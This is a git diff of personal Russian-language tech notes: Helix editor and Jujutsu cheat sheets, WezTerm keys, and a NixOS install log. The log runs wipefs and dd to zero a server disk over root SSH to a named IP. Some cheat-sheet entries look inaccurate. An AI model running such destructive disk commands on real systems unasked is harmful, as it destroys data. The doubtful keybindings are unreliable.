s`|Horizontal split| +|`Ctrl-w w`|Switch to next window| +|`Ctrl-w h`|Goto left window| +|`Ctrl-w j`|Goto bottom window| +|`Ctrl-w k`|Goto top window| +|`Ctrl-w l`|Goto right window| +|`Ctrl-w q`|Close current window| +|`Ctrl-w o`|Close all windows except current| +|`Ctrl-w H`|Swap window left| +|`Ctrl-w J`|Swap window down| +|`Ctrl-w K`|Swap window up| +|`Ctrl-w L`|Swap window right| + +## Space Mode (Space + клавиша) + +|Клавиша|Действие| +|---|---| +|`Space f`|File picker (открыть файл)| +|`Space F`|File picker (current directory)| +|`Space b`|Buffer picker (открытые файлы)| +|`Space k`|Hover (показать документацию LSP)| +|`Space s`|Symbol picker (функции/структуры)| +|`Space S`|Workspace symbol picker| +|`Space a`|Code actions (LSP)| +|`Space r`|Rename symbol (LSP)| +|`Space d`|Diagnostics picker (ошибки)| +|`Space D`|Workspace diagnostics| +|`Space h`|Highlight all occurrences| +|`Space /`|Global search (ripgrep)| +|`Space ?`|Command palette| +|`Space y`|Yank (copy) to clipboard| +|`Space p`|Paste from clipboard| +|`Space P`|Paste from clipboard before| +|`Space R`|Replace selections with clipboard| +|`Space w`|Save file (:write)| +|`Space q`|Quit (:quit)| + +## LSP Специфичные + +|Клавиша|Действие| +|---|---| +|`K`|Hover documentation| +|`gd`|Goto definition| +|`gy`|Goto type definition| +|`gr`|Goto references| +|`gi`|Goto implementation| +|`]d`|Next diagnostic (ошибка)| +|`[d`|Previous diagnostic| +|`Space a`|Code actions| +|`Space r`|Rename symbol| + +## Insert Mode Специфичные + +|Клавиша|Действие| +|---|---| +|`Ctrl-x`|Autocomplete| +|`Ctrl-w`|Delete word backward| +|`Ctrl-u`|Delete to line start| +|`Ctrl-k`|Delete to line end| +|`Ctrl-h`|Backspace| +|`Ctrl-d`|Delete forward| +|`Ctrl-j`|Insert newline| + +## Диагностика и Отладка + +|Клавиша|Действие| +|---|---| +|`]d`|Next diagnostic| +|`[d`|Previous diagnostic| +|`]g`|Next git change| +|`[g`|Previous git change| +|`]f`|Next function| +|`[f`|Previous function| +|`]c`|Next class| +|`[c`|Previous class| + +## Дополнительные + +|Клавиша|Действие| +|---|---| +|`.`|Repeat last change| +|`q`|Record macro (например, `qa` → запись в регистр a)| +|`Q`|Replay macro (например, `@a` в Vim, но в Helix просто `Q`)| +|`@`|Shell pipe (выполнить shell команду)| +|`!`|Shell pipe replace| +|`Alt-!`|Shell append output| +|`$`|Shell pipe each selection| + +--- + +## Командный Режим (после `:`) + +|Команда|Действие| +|---|---| +|`:w`|Write (save) file| +|`:q`|Quit| +|`:wq` или `:x`|Write and quit| +|`:q!`|Force quit (без сохранения)| +|`:open file.txt`|Open file| +|`:buffer-close`|Close current buffer| +|`:reload`|Reload file from disk| +|`:set key value`|Set option| +|`:vsplit`|Vertical split| +|`:hsplit`|Horizontal split| +|`:sh command`|Run shell command| +|`:insert-output command`|Insert shell command output| +|`:pipe command`|Pipe selection through command| + +--- + +Эта шпаргалка покрывает **95% ежедневного использования** Helix. Сохрани в Obsidian и распечатай — первые недели будешь часто подглядывать, потом всё в мышечную память! 🚀 + +**Ключевое отличие от Vim:** в Helix **сначала выделение** (selection-first), **потом действие**. Это делает редактирование **предсказуемым** — ты всегда видишь, что изменишь, перед тем как это сделать. + +1. [https://docs.helix-editor.com/keymap.html](https://docs.helix-editor.com/keymap.html) +2. [https://github.com/helix-editor/helix/discussions/12270](https://github.com/helix-editor/helix/discussions/12270) +3. [https://www.reddit.com/r/HelixEditor/comments/11hvikl/in_editor_keyboard_shortcuts_cheatsheet/](https://www.reddit.com/r/HelixEditor/comments/11hvikl/in_editor_keyboard_shortcuts_cheatsheet/) +4. [https://docs.helix-editor.com/remapping.html](https://docs.helix-editor.com/remapping.html) +5. [https://github.com/helix-editor/helix/issues/4864](https://github.com/helix-editor/helix/issues/4864) +6. [https://news.ycombinator.com/item?id=40492300](https://news.ycombinator.com/item?id=40492300) +7. [https://blog.ohheybrian.com/2023/01/this-was-written-with-helix](https://blog.ohheybrian.com/2023/01/this-was-written-with-helix) +8. [https://jonathan-frere.com/posts/helix/](https://jonathan-frere.com/posts/helix/) \ No newline at end of file diff --git a/10-linux/00-utils/helix/keys.md b/10-linux/00-utils/helix/keys.md new file mode 100644 index 0000000..03e20bc --- /dev/null +++ b/10-linux/00-utils/helix/keys.md @@ -0,0 +1,161 @@ +**:w** или **:write** +**:bc** или **:buffer-close** + +Отлично! В Helix есть мощная LSP-интеграция для навигации по коду. Вот полный гайд: + +## Переход к определению и обратно + +## Основные команды навигации (goto mode) + +Нажми **g** затем:[helix-editor+2](https://docs.helix-editor.com/keymap.html)​ + +**К определению:** + +- **gd** — Go to **definition** (переход к определению функции/переменной)[helix-editor+2](https://docs.helix-editor.com/commands.html)​ + +- **gy** — Go to **type definition** (переход к определению типа)[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)​ + +- **gi** — Go to **implementation** (переход к реализации трейта/интерфейса)[helix-editor+1](https://docs.helix-editor.com/keymap.html)​ + + +**К использованиям:** + +- **gr** — Go to **references** (показать все места, где используется функция)[kapeli+2](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)​ + + +## Возврат назад (Jumplist) + +После перехода по `gd`, Helix автоматически сохраняет твою предыдущую позицию в **jumplist** (список переходов):[helix-editor](https://docs.helix-editor.com/master/jumplist.html)​youtube​ + +- **Ctrl+o** — jump **Out** (вернуться назад по jumplist)[reddit+1](https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/)​youtube​ + +- **Ctrl+i** — jump **In** (вернуться вперёд по jumplist)youtube​[helix-editor](https://docs.helix-editor.com/master/jumplist.html)​ + +- **Ctrl+s** — вручную сохранить текущую позицию в jumplist[helix-editor](https://docs.helix-editor.com/master/jumplist.html)​youtube​ + + +**Пример воркфлоу:** + +1. Ты на вызове функции `calculate_sum()` + +2. Жмёшь **gd** → переходишь к определению + +3. Смотришь код, делаешь правки + +4. Жмёшь **Ctrl+o** → возвращаешься к вызову + +5. Если нужно снова к определению — **Ctrl+i** + + +## Просмотр всего jumplist + +**Space+j** — открыть picker со всеми сохранёнными переходамиyoutube​[helix-editor](https://docs.helix-editor.com/master/jumplist.html)​ + +Это интерактивное меню, где видны все позиции, куда ты прыгал. Можешь выбрать любую стрелками и нажать Enter.youtube​ + +## Навигация между вызовами функции + +**Найти все использования:** + +1. Встань на имя функции + +2. Нажми **gr** (goto references)[kapeli+1](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)​ + +3. Откроется picker со всеми местами, где функция вызывается + +4. Используй стрелки для выбора, Enter для перехода[huqingye-1798.xlog](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)​ + + +**Переход между функциями в файле:** + +- **]f** — следующая функция (next function)[helix-editor+1](https://docs.helix-editor.com/keymap.html)​ + +- **[f** — предыдущая функция (previous function)[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)​ + + +Это работает через Tree-sitter (TS), не требует LSP.[helix-editor+1](https://docs.helix-editor.com/keymap.html)​ + +## Навигация по диагностике (ошибки/предупреждения) + +Бонус для дебага:[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)​ + +- **]d** — следующая ошибка/предупреждение + +- **[d** — предыдущая ошибка + +- **[D** — первая ошибка в файле + +- **]D** — последняя ошибка в файле + + +## Полный workflow для Rust-разработки + +**Сценарий 1: Изучение чужого кода** + +text + +`1. Встал на функцию → gd (перешёл к определению) 2. Посмотрел типы → gy (перешёл к type definition) 3. Хочу вернуться → Ctrl+o (назад к вызову) 4. Хочу посмотреть все вызовы → gr (список references) 5. Выбрал другой вызов → Enter 6. Возвращаюсь к первому → Space+j (jumplist picker)` + +**Сценарий 2: Рефакторинг** + +text + +`1. Встал на функцию → gr (показать все вызовы) 2. Перешёл к первому → Enter 3. Сделал правки → Ctrl+s (сохранил позицию в jumplist) 4. Следующий вызов → выбрал из picker 5. Вернулся к предыдущему → Ctrl+o` + +**Сценарий 3: Исследование трейтов** + +text + +`1. Встал на трейт → gy (type definition) 2. Хочу увидеть реализации → gi (implementations) 3. Picker показал все impl блоки → выбираю нужный 4. Возврат → Ctrl+o` + +## Горячие клавиши для закладок (опционально) + +Если хочешь быстро прыгать между важными местами, используй **marks** (закладки):[helix-editor](https://docs.helix-editor.com/remapping.html)​ + +- **m** затем **буква** — установить закладку (например, `ma` для закладки 'a') + +- **` ** (backtick) затем **буква** — перейти к закладке (например, `` ` a``) + + +Это полезно для долгой работы над одним участком кода.[helix-editor](https://docs.helix-editor.com/remapping.html)​ + +1. [https://docs.helix-editor.com/keymap.html](https://docs.helix-editor.com/keymap.html) +2. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html) +3. [https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index) +4. [https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/](https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/) +5. [https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-) +6. [https://docs.helix-editor.com/master/jumplist.html](https://docs.helix-editor.com/master/jumplist.html) +7. [https://www.youtube.com/watch?v=B3vQDHzsU0g](https://www.youtube.com/watch?v=B3vQDHzsU0g) +8. [https://docs.helix-editor.com/remapping.html](https://docs.helix-editor.com/remapping.html) +9. [https://github.com/helix-editor/helix/issues/3167](https://github.com/helix-editor/helix/issues/3167) +10. [https://zed.dev/docs/key-bindings](https://zed.dev/docs/key-bindings) + +В Helix для удаления строки используется **двухнажатийная комбинация** (не одна клавиша, как в некоторых редакторах): + +## Основная команда + +**x d** + +- **x** — выделить текущую строку целиком + +- **d** — удалить выделение + + +Это самый быстрый и стандартный способ в Helix.[](https://pikabu.ru/story/osnovyi_helix_mini_gayd_13142410) + +​ + +## Удаление нескольких строк + +Если нужно удалить несколько строк подряд: + +- **5x d** — удалить 5 строк (начиная с текущей вниз) + +- **x 3k d** — выделить строку, расширить на 3 строки вверх, удалить + + +## Удаление и переход в режим вставки + +**x c** — удалить строку и сразу войти в insert mode (аналог vim's `cc`) + +shift + A - это сразу войти в режим i \ No newline at end of file diff --git a/10-linux/00-utils/helix/lsps.md b/10-linux/00-utils/helix/lsps.md new file mode 100644 index 0000000..2998739 --- /dev/null +++ b/10-linux/00-utils/helix/lsps.md @@ -0,0 +1,95 @@ +Отлично! Держи полный список **ключевых LSP** для всех основных языков — это всё, что нужно для профессиональной разработки в Helix.[helix-editor+1](https://docs.helix-editor.com/lang-support.html)​ + +--- + +## 🦀 Systems Programming + +text + +``` +# Rust rust-analyzer # Официальный LSP от Rust Foundation # C/C++ clangd # LLVM-based LSP (рекомендуется) # или ccls # Альтернатива clangd # Zig zls # Официальный Zig Language Server # Go gopls # Официальный LSP от Google # D serve-d # D Language Server +``` +--- + +## 🌐 Web Development + +text + +`# JavaScript/TypeScript nodePackages.typescript-language-server # или nodePackages.vscode-langservers-extracted # HTML/CSS/JSON тоже # Deno (альтернатива Node) deno # Deno встроенный LSP # Vue.js nodePackages.volar # Vue 3 LSP # Svelte nodePackages.svelte-language-server # Tailwind CSS nodePackages."@tailwindcss/language-server"` + +--- + +## 🐍 Scripting Languages + +text + +`# Python python3Packages.python-lsp-server # pylsp (рекомендуется) # или pyright # Microsoft LSP (быстрее) # или basedpyright # Fork pyright # Ruby solargraph # Ruby LSP # Lua lua-language-server # sumneko_lua # Perl perlnavigator # Perl LSP` + +--- + +## ⚙️ DevOps & Config + +text + +`# Nix nil # Nix LSP (рекомендуется) # или nixd # Альтернатива с лучшей поддержкой flakes # YAML nodePackages.yaml-language-server # TOML taplo # Taplo LSP # JSON nodePackages.vscode-json-languageserver # Terraform terraform-ls # HashiCorp Terraform LSP # Docker nodePackages.dockerfile-language-server-nodejs # Ansible ansible-language-server` + +--- + +## 🎨 Functional & Academic + +text + +`# Haskell haskell-language-server # HLS # OCaml ocamlPackages.ocaml-lsp # ocamllsp # Elixir elixir-ls # Elixir Language Server # Erlang erlang-ls # Erlang LS # Clojure clojure-lsp # Clojure LSP # Racket racket-langserver # Racket LS # PureScript nodePackages.purescript-language-server` + +--- + +## 🏢 Enterprise & JVM + +text + +`# Java jdt-language-server # Eclipse JDT # Kotlin kotlin-language-server # Scala metals # Scalameta LSP # Groovy groovy-language-server` + +--- + +## 📝 Markup & Data + +text + +`# Markdown marksman # Markdown LSP # LaTeX texlab # LaTeX LSP # GraphQL nodePackages.graphql-language-service-cli # Protobuf buf-language-server # Protobuf LSP` + +--- + +## 🔥 Special Mention + +text + +`# Helix-GPT (AI completion) helix-gpt # OpenAI/Copilot в Helix # Emmet (HTML/CSS snippets) emmet-ls # Emmet expansion` + +--- + +## 📋 Для копирования в Obsidian + +text + +``# Language Servers для Helix ## Systems - `rust-analyzer` — Rust - `clangd` — C/C++ - `zls` — Zig - `gopls` — Go ## Web - `typescript-language-server` — JS/TS - `vscode-langservers-extracted` — HTML/CSS/JSON - `volar` — Vue.js - `svelte-language-server` — Svelte - `@tailwindcss/language-server` — Tailwind ## Scripting - `python-lsp-server` — Python (или `pyright`) - `solargraph` — Ruby - `lua-language-server` — Lua ## DevOps - `nil` — Nix (или `nixd`) - `yaml-language-server` — YAML - `taplo` — TOML - `terraform-ls` — Terraform - `dockerfile-language-server` — Docker ## Functional - `haskell-language-server` — Haskell - `ocaml-lsp` — OCaml - `elixir-ls` — Elixir - `clojure-lsp` — Clojure ## JVM - `jdt-language-server` — Java - `kotlin-language-server` — Kotlin - `metals` — Scala ## Markup - `marksman` — Markdown - `texlab` — LaTeX - `graphql-language-service-cli` — GraphQL ## Bonus - `helix-gpt` — AI completion (OpenAI/Copilot) - `emmet-ls` — HTML/CSS snippets`` + +--- + +## Проверка установленных LSP + +bash + +`hx --health` + +Покажет, какие LSP найдены и работают.[github+1](https://github.com/helix-editor/helix/discussions/7067)​ + +1. [https://docs.helix-editor.com/lang-support.html](https://docs.helix-editor.com/lang-support.html) +2. [https://langserver.org](https://langserver.org) +3. [https://github.com/helix-editor/helix/discussions/7067](https://github.com/helix-editor/helix/discussions/7067) +4. [https://discourse.nixos.org/t/helix-lsp-servers/34833](https://discourse.nixos.org/t/helix-lsp-servers/34833) +5. [https://github.com/helix-editor/helix/discussions/8474](https://github.com/helix-editor/helix/discussions/8474) +6. [https://www.reddit.com/r/NixOS/comments/1gu5q3q/what_lsp_do_you_use/](https://www.reddit.com/r/NixOS/comments/1gu5q3q/what_lsp_do_you_use/) +7. [https://en.wikipedia.org/wiki/Language_Server_Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol) +8. [https://docs.codelite.org/plugins/lsp/](https://docs.codelite.org/plugins/lsp/) +9. [https://mynixos.com/nixpkgs/package/helix-gpt](https://mynixos.com/nixpkgs/package/helix-gpt) +10. [https://github.com/isaacphi/mcp-language-server](https://github.com/isaacphi/mcp-language-server) \ No newline at end of file diff --git a/10-linux/00-utils/helix/replace.md b/10-linux/00-utils/helix/replace.md new file mode 100644 index 0000000..1739f91 --- /dev/null +++ b/10-linux/00-utils/helix/replace.md @@ -0,0 +1 @@ +![[Pasted image 20251115162400.png]] \ No newline at end of file diff --git a/10-linux/00-utils/helix/selection.md b/10-linux/00-utils/helix/selection.md new file mode 100644 index 0000000..7cae95e --- /dev/null +++ b/10-linux/00-utils/helix/selection.md @@ -0,0 +1,46 @@ +| Действие | Команда | +| ---------------------------------- | --------------------- | +| Войти в режим выделения | v | +| Расширить выделение вниз (колонка) | Shift-CилиAlt-Shift-C | +| Войти в мультикурсорный ввод | I(заглавная) | +| Ввести текст одновременно | Печатать текст | +| Выйти из мультикурсорного режима | Esc | +| Добавить курсор ниже | C | +| Удалить дополнительные курсоры | , | +| Оставить один курсор (удалить все) | ; | + +| Задача | Команда | +| ----------------------------- | ------- | +| Добавить курсор вниз | C | +| Добавить курсор вниз n строк | nC | +| Добавить курсор вверх | Alt-C | +| Добавить курсор вверх n строк | nAlt-C | + +| Действие | Команда | +| ------------------------------------------- | ------- | +| Добавить курсор вниз | C | +| Добавить курсор вверх | Alt-C | +| Добавить курсор вниз n строк | nC | +| Добавить курсор вверх n строк | nAlt-C | +| Удалить все дополнительные курсоры | , | +| Начать выделение | v | +| Расширить выделение движением | h/j/k/l | +| Расширить выделение n строк вниз | nj | +| Расширить выделение n строк вверх | nk | + +|Действие|Команда| +|---|---| +|Войти в visual mode|v| +|Расширить выделение вниз|j| +|Расширить выделение вверх|k| +|Переключить курсор и anchor|Alt-;| +|Удалить все доп. курсоры|,| +|Collapse selection|;| +|Добавить курсор вниз|C| +|Добавить курсор вверх|Alt-C| + +| Действие | Команда / Клавиши | Описание | +| ---------------------------------- | -------------------------------- | --------------------------------------------------- | +| Переключение каретки в выделении | Alt + ; | Поменять активный конец (каретку) выделения | +| Замена всех вхождений по паттерну | %→s→{pattern}→Enter→c→{new text} | Выделить весь файл, найти по паттерну, заменить все | +| Логи нажатий (для проверки клавиш) | :log-open | Открыть лог нажатий клавиш для диагностики | diff --git a/10-linux/00-utils/jj/Untitled.md b/10-linux/00-utils/jj/Untitled.md new file mode 100644 index 0000000..ed17654 --- /dev/null +++ b/10-linux/00-utils/jj/Untitled.md @@ -0,0 +1,90 @@ + +# Jujutsu: Применение исправлений из stable во все ветки + +Да, **Jujutsu** (`jj`) отлично справляется с этим workflow и делает его **проще**, чем в Git, благодаря своей архитектуре. Вот как это работает: + +## Подход Jujutsu + +Jujutsu не требует «переключения веток» в классическом понимании Git, потому что использует модель **working-copy-as-commit**. Вы можете редактировать любой коммит в репозитории напрямую без `checkout`. + +## Workflow в `jj` + +### Шаг 1: Во время разработки feature обнаружили баг в `stable` + +Не нужно делать `stash` или коммитить незавершённую работу. Просто: + +```bash +# Редактируем коммит в stable напрямую +jj edit +# ИЛИ создаем новый коммит поверх stable +jj new stable +``` + +### Шаг 2: Делаем исправление + +Вносим необходимые изменения (багфикс, оптимизация, рефакторинг). Эти изменения получают уникальный **change ID**, который сохраняется между ветками. + +### Шаг 3: Применяем фикс ко всем нужным веткам + +Здесь `jj` раскрывается во всей красе. Два основных подхода: + +#### Вариант A: Rebase-based propagation + +```bash +# Rebase feature веток на обновлённый stable +jj rebase -b feature-branch -d stable +jj rebase -b another-feature -d stable +``` + +#### Вариант B: Cherry-pick стиль (дублирование + rebase) + +```bash +# Дублируем change с фиксом и rebase на каждую ветку +jj duplicate +jj rebase -r -d feature-branch +``` + +### Шаг 4: Селективное применение через revsets + +Для исключения deprecated веток используем мощный язык **revset** в `jj`: + +```bash +# Применяем ко всем веткам кроме deprecated +jj rebase -b 'branches() & ~(branches(glob:"deprecated*") | branches("old-feature"))' +``` + +## Ключевые преимущества `jj` для этого workflow + +- **Без загрязнения рабочей директории**: Ваше текущее состояние разработки `feature` остаётся нетронутым, пока вы работаете над фиксом в `stable`. +- **Change IDs отслеживаются между ветками**: Одно и то же логическое изменение сохраняет свою идентичность при rebase или дублировании, что упрощает отслеживание применения фикса. +- **Автоматическое разрешение конфликтов**: При rebase нескольких веток с фиксом `jj` помогает выявлять и разрешать конфликты инкрементально. +- **Нет "detached HEAD" состояний**: В отличие от Git, вы можете свободно навигировать и редактировать любой коммит без риска потерять работу. + +## Практический пример + +```bash +# 1. Сейчас работаем над feature +jj log + +# 2. Создаём фикс на stable +jj new stable -m "Fix critical bug in validation" +# Вносим изменения +jj commit + +# 3. Получаем change ID вашего фикса +FIX_ID=$(jj log -r @ --no-graph -T 'change_id') + +# 4. Rebase всех активных feature веток +jj rebase -b 'branches() & ~branches(glob:"deprecated*")' -d stable + +# 5. Возвращаемся к работе над feature +jj edit feature +``` + +## Важные моменты + +- **Разрешение конфликтов**: Если ваш фикс в `stable` конфликтует с изменениями в `feature`-ветках, `jj` создаст conflict markers, которые нужно будет разрешить для каждой ветки. +- **Принцип upstream-first**: Как и в GitLab Flow, всегда исправляйте сначала в самой upstream-ветке (`stable`), затем распространяйте downstream. +- **Состояние working copy**: После операций используйте `jj status`, чтобы увидеть, к какому коммиту привязана рабочая копия, и `jj edit ` для возврата к работе над `feature`. + +> Да, `jj` абсолютно поддерживает этот workflow и делает его более эргономичным, чем Git, устраняя накладные расходы на переключение контекста и предоставляя мощные revset-запросы для селективных операций с ветками. \ No newline at end of file diff --git a/10-linux/00-utils/jj/jj.md b/10-linux/00-utils/jj/jj.md new file mode 100644 index 0000000..c602d5e --- /dev/null +++ b/10-linux/00-utils/jj/jj.md @@ -0,0 +1,209 @@ +Вот приведённый в порядок Markdown файл: + +*** + +# 📚 Шпаргалка по Jujutsu (jj) + +## Основные концепции + +**jj** — это система контроля версий, которая отличается от Git философией. Вместо веток используются **bookmarks** (закладки), вместо staging area — автоматическое отслеживание. + +| Концепция | Описание | +|-----------|---------| +| `@` | Текущий рабочий коммит (working copy) | +| `@-` | Родитель текущего коммита | +| Bookmark | Закладка на коммит (аналог Git ветви) | +| DAG | Направленный ациклический граф — вся история видна одновременно | + +## Базовые команды + +```bash +# Инициализация +jj git init # Инициализировать jj в Git репозитории + +# Просмотр истории +jj log # Показать историю +jj log --graph # С визуализацией +jj log --graph --all # Вся история со всеми ветками +jj status # Статус текущего коммита + +# Создание коммитов +jj new # Создать новый коммит на основе текущего +jj new -m "description" # С описанием +jj new COMMIT_ID # Создать коммит на основе конкретного + +# Редактирование +jj edit COMMIT_ID # "Включить" коммит для редактирования +jj describe -m "new message" # Изменить описание текущего коммита +jj new HEAD # Создать коммит от HEAD +``` + +## Работа с закладками + +```bash +# Создание и удаление +jj bookmark create branch-name # Создать закладку на текущий коммит +jj bookmark create branch-name -r COMMIT_ID # На конкретный коммит +jj bookmark delete branch-name # Удалить закладку +jj bookmark list # Список всех закладок + +# Перемещение закладок +jj bookmark set main -r COMMIT_ID # Переместить main на коммит +jj bookmark set main -r ready # Переместить на bookmark ready + +# Отслеживание удалённых закладок +jj bookmark track main@origin # Импортировать удалённую закладку +``` + +## Слияние и перебазирование + +```bash +# Rebase (перебазирование) +jj rebase -r @ -d main # Перебазировать текущий коммит на main +jj rebase -b ready -d main # Перебазировать ветку ready на main + +# Squash (объединение коммитов) +jj squash -r @ # Объединить текущий коммит с родителем +jj squash -r COMMIT_ID # Объединить конкретный коммит с его родителем + +# Abandon (удаление коммита) +jj abandon COMMIT_ID # Удалить коммит (но файлы останутся в @) +``` + +## Git интеграция + +```bash +# Экспорт и импорт +jj git export # Синхронизировать jj с Git +jj git import # Импортировать Git ветки в jj + +# Push и Pull +jj git push # Запушить все изменения +jj git push -b main # Запушить только bookmark main +jj git pull # Потянуть изменения с удалённого + +# Работа с Git напрямую +git checkout main # Обычные Git команды работают! +git merge BRANCH +git push origin main +``` + +## Разрешение конфликтов + +```bash +# При конфликтах во время rebase +jj resolve # Разрешить конфликты +jj resolve --tool=union # С объединением (берёт всё) +jj diff # Посмотреть различия + +# После редактирования файлов вручную +jj resolve # Отметить конфликт разрешённым +jj squash -r @ # Переместить разрешение в основной коммит +``` + +## Типичные workflow'ы + +### Создать и слить новую ветку в main + +```bash +# Посмотреть состояние +jj log --graph + +# Создать новый коммит +jj new -m "feature: add something" + +# Работать над коммитом (файлы отслеживаются автоматически) + +# Создать закладку +jj bookmark create feature-branch + +# Перебазировать на main +jj rebase -r @ -d main + +# Обновить main +jj bookmark set main -r @ + +# Запушить +jj git push -b main +``` + +### Слить ветку `ready` в `main` с приоритетом ready + +```bash +# Перебазировать main на ready +jj rebase -b main -d ready + +# Обновить main bookmark +jj bookmark set main -r ready + +# Запушить +jj git push -b main +``` + +### Вернуться к старому коммиту и что-то изменить + +```bash +# Посмотреть историю +jj log --graph --all + +# "Включить" старый коммит для редактирования +jj edit OLD_COMMIT_ID + +# Делать изменения (они автоматически добавятся в текущий коммит) + +# Посмотреть что изменилось +jj diff + +# Если нужно разветвить от этого коммита +jj new -m "new branch from old commit" +``` + +## Полезные флаги и опции + +```bash +# Смотреть только свои коммиты +jj log -r "author(myemail)" + +# Смотреть коммиты с конкретным текстом +jj log -r "description(disko)" + +# Операции с конкретным range +jj log -r "main..@" # Коммиты от main до текущего + +# Отмена последней операции +jj undo + +# Помощь по команде +jj new --help +``` + +## Когда использовать Git вместо jj + +Если что-то сложное происходит, всегда можешь вернуться к Git: + +```bash +# Экспортировать текущее состояние в Git +jj git export + +# Теперь используй обычные Git команды +git log --oneline +git merge origin/main +git push +``` + +Git интеграция в jj позволяет работать гибридно! + +*** + +**Основные улучшения:** + +- Убрал лишние пустые строки между блоками кода +- Выровнял таблицу по стандартам Markdown +- Переорганизовал структуру: основные концепции → команды → workflow'ы +- Унифицировал комментарии в блоках кода (выравнивание и стиль) +- Добавил подзаголовки (###) для workflow'ов вместо жирного текста +- Упростил финальный абзац + +*** + +Готово к добавлению в Obsidian! 🚀 \ No newline at end of file diff --git a/00-linux/utils/rg.md b/10-linux/00-utils/rg.md similarity index 100% rename from 00-linux/utils/rg.md rename to 10-linux/00-utils/rg.md diff --git a/10-linux/00-utils/wezterm/keys.md b/10-linux/00-utils/wezterm/keys.md new file mode 100644 index 0000000..eca5d02 --- /dev/null +++ b/10-linux/00-utils/wezterm/keys.md @@ -0,0 +1,70 @@ +## Как это работает + +## 1. **Copy Mode** (аналог Helix selection/view mode) + +**Вход:**[](https://dev.to/lovelindhoni/make-wezterm-mimic-tmux-5893) + +​ + +- **Ctrl+Shift+X** — войти в Copy Mode + +- Или настрой LEADER (например, **Ctrl+Space**, затем **Space**) + + +**Движение (как в Helix):**[](https://github.com/wez/wezterm/issues/4471) + +​ + +- `h/j/k/l` — стрелки + +- `w/b/e` — прыжки по словам + +- `0/$` — начало/конец строки + +- `g/G` — начало/конец файла + +- `Ctrl-d/u` — полстраницы вниз/вверх + +- `Ctrl-f/b` — страница вниз/вверх + + +**Выделение:**[](https://github.com/wezterm/wezterm/issues/993) + +​ + +- `v` → char-wise selection (как в Helix) + +- `V` → line-wise selection + +- `Ctrl-v` → block selection + + +**Копирование:**[](https://github.com/wezterm/wezterm/issues/993) + +​ + +- `y` → скопировать и выйти (как в Helix/Vim) + + +**Выход:** + +- `Escape` или `q` или `Ctrl-c` + + +## 2. **QuickSelect** (аналог Helix multiple cursors) + +**Вход:**[](https://dev.to/burnskp/wezterm-quickselect-51gh) + +​ + +- **LEADER+f** (если настроил LEADER) + + +**Что делает:** + +- Показывает **label'ы** на всех совпадениях regex паттернов[](https://dev.to/burnskp/wezterm-quickselect-51gh) + + +- ​ + +- Печатаешь label → выделяется и копируется \ No newline at end of file diff --git a/10-linux/10-kernel/Untitled.md b/10-linux/10-kernel/Untitled.md new file mode 100644 index 0000000..ee350fe --- /dev/null +++ b/10-linux/10-kernel/Untitled.md @@ -0,0 +1 @@ +Типичные компоненты ядра — обработчики прерываний, которые обслуживают запросы на прерывания, поступающие от различных устройств, планировщик, распределяющий процессорное время между многими процессами, система управления памятью, которая управляет адресным пространством процессов, и системные службы, такие как сетевая подсистема и подсистема межпроцессного взаимодействия. \ No newline at end of file diff --git a/00-linux/nixos/README.md b/10-linux/10-nixos/README.md similarity index 100% rename from 00-linux/nixos/README.md rename to 10-linux/10-nixos/README.md diff --git a/00-linux/nixos/deploy.md b/10-linux/10-nixos/deploy.md similarity index 100% rename from 00-linux/nixos/deploy.md rename to 10-linux/10-nixos/deploy.md diff --git a/10-linux/10-nixos/logging to install.md b/10-linux/10-nixos/logging to install.md new file mode 100644 index 0000000..9f13822 --- /dev/null +++ b/10-linux/10-nixos/logging to install.md @@ -0,0 +1,153 @@ +❯ ssh root@64.188.70.209 +Last login: Sun Nov 2 16:29:35 2025 from 46.39.249.16 + +[root@nixos-installer:~]# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +loop0 7:0 0 316.2M 0 loop /nix/.ro-store +loop1 7:1 0 36K 1 loop /run/nixos-etc-metadata +sr0 11:0 1 1024M 0 rom +vda 253:0 0 20G 0 disk +├─vda1 253:1 0 19G 0 part +├─vda2 253:2 0 1K 0 part +└─vda5 253:5 0 975M 0 part + +[root@nixos-installer:~]# wipefs -a /dev/vda + +[root@nixos-installer:~]# dd if=/dev/zero of=/dev/vda bs=512 count=4096 +4096+0 records in +4096+0 records out +2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.0750978 s, 27.9 MB/s + +[root@nixos-installer:~]# partprobe /dev/vda + +[root@nixos-installer:~]# parted /dev/vda +GNU Parted 3.6 +Using /dev/vda +Welcome to GNU Parted! Type 'help' to view a list of commands. +(parted) mklabel gpt +(parted) unit s +(parted) mkpart primary 2048s 4095s +(parted) set 1 bios_grub on +(parted) mkpart primary 4096s 100% +(parted) quit +Information: You may need to update /etc/fstab. + + +[root@nixos-installer:~]# mkfs.ext4 /dev/vda2 +mke2fs 1.47.2 (1-Jan-2025) +Creating filesystem with 5242112 4k blocks and 1310720 inodes +Filesystem UUID: b209859d-d8c0-4552-a1cf-a81f4f8b3cdc +Superblock backups stored on blocks: + 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, + 4096000 + +Allocating group tables: done +Writing inode tables: done +Creating journal (32768 blocks): done +Writing superblocks and filesystem accounting information: done + + +[root@nixos-installer:~]# mount /dev/vda2 /mnt + +[root@nixos-installer:~]# ^C + +[root@nixos-installer:~]# mkdir -p /mnt/boot + +[root@nixos-installer:~]# mkdir -p /mnt/dev /mnt/proc /mnt/sys /mnt/run + +[root@nixos-installer:~]# mount --bind /dev /mnt/dev + +[root@nixos-installer:~]# mount 